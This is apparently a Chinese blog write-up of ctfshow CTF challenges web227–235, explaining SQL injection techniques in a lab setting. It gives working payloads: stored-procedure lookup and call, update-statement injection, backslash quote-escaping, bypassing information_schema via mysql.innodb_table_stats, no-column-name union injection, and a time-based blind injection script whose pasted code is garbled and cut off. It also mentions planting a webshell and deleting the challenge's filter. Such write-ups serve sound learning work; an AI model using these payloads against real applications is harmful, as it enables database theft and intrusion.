web227
按照上一题的方法,发现查不出flag表了,把ctfshow_user表给爆了一下也没flag,然后写一句话马,蚁剑连上去还是找不到flag,人傻了。。。
看了一下y4师傅的WP,原来这题考的是存储过程:
存储过程(Stored Procedure)是一种在数据库中存储复杂程序,以便外部程序调用的一种数据库对象。
存储过程是为了完成特定功能的SQL语句集,经编译创建并保存在数据库中,用户可通过指定存储过程的名字并给定参数(需要时)来调用执行。
存储过程思想上很简单,就是数据库 SQL 语言层面的代码封装与重用。
毕竟我们不是开发,没必要了解的那么深。我对于存储过程的理解就是用户自定义的函数,就是PHP,python里面自己写函数一样。
再参考一下这个:MySQL——查看存储过程和函数
查一下information_schema.routines表,就可以发现一个getFlag的存储过程:
还给出了这个存储过程的定义:
BEGIN
SELECT "ctfshow{3b8b089d-6aaf-4176-9060-89786fcca3ba}";
END1
2
3
所以直接就能得到flag了。如果要调用的话,也可以这样:
';call getFlag();1
不过正常这题都是在之前姿势的基础上,还是要16进制编码。我这里没编码是因为我之前已经写马蚁剑连了上去,发现api/index.php有写的权限,我直接把过滤了删了才可以这样搞的。
web228
同web226
web229
同web226
web230
同web226
web231
首先说一下注入点,在api/index.php,post传参password和username。。日常找不到注入点。
这题我第一反应的话是二次注入,因为update更新后的结果在update.php那里有回显,布尔注入,时间注入甚至都可以。我第一反应是这样:
password=0'+substr(hex(hex(database())),1,10)%23&username=11
利用双层hex来二次注入,但是感觉肯定是有些麻烦的,这题一点过滤都没有不太可能这样。然后想着为什么只能password那里回显,username不能回显呢,然后就想到了直接写username:
password=0',username=database()%23&username=11
username那里的语句随便写就可以了。
看了一下yq师傅的博客,这题其实不需要注意,因为查询的是不同的表:
mysql中不支持子查询更新,准确的说是更新的表不能在set和where中用于子查询。那串英文错误提示就是说,不能先select出同一表中的某些值,再update这个表(在同一语句中)。
如果flag在update的那个表里面,我们想查出来的话就需要用子查询了,参考文章如下:
mysql update不支持子查询更新
web232
同上
web233
不知道为什么不能像前两个题那样做了,搞不明白为什么。但是不能的话那就只能盲注了,把之前的脚本改一改就行了,需要注意的就是sleep那里,是每一列都会sleep一次,所以判断的时间限制要大致算一下:
"""
Author:feng
"""
import requests
from time import *
def createNum(n): num = 'true' if n == 1: return 'true' else: for i in range(n - 1): num += "+true" return num
url='http://e3a564a9-8fda-4003-895a-404b571895a4.chall.ctf.show:8080/api/'
flag=''
for i in range(1,100): min=32 max=128 while 1: j=min+(max-min)//2 if min==j: flag+=chr(j) print(flag) if chr(j)=='}': exit() break #payload="' or if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
web234
还是很懵,明明没过滤为什么又打不通了。。。
看了一下师傅们的wp,原来有过滤啊草。。。把单引号给过滤了,我太菜了。
所以这题就可以利用反斜杠把单引号转义,例如这样:
password=\&username=,username=database()#1
相当于查询语句变成了这样:
update ctfshow_user set pass = '\' where username = ',username=database()#';1
然后在username那里构造语句就可以了。
web235
ban了or,其实还暗ban了information_schema,可以拿innoDB引擎来绕过,即这个mysql.innodb_table_stats。
password=\&username=,username=(select group_concat(table_name) from mysql.innodb_table_stats where database_name=database())#1
把表名给爆了出来,接下来就是无列名注入了:
sql注入(利用join进行无列名注入)
password=\&username=,username=(select group_concat(`2`) from (select 1,2,3 union select * from flag23a1)x)#1
文章来源: blog.csdn.net,作者:bfengj,版权归原作者所有,如需转载,请联系作者。
原文链接:blog.csdn.net/rfrder/article/details/113791067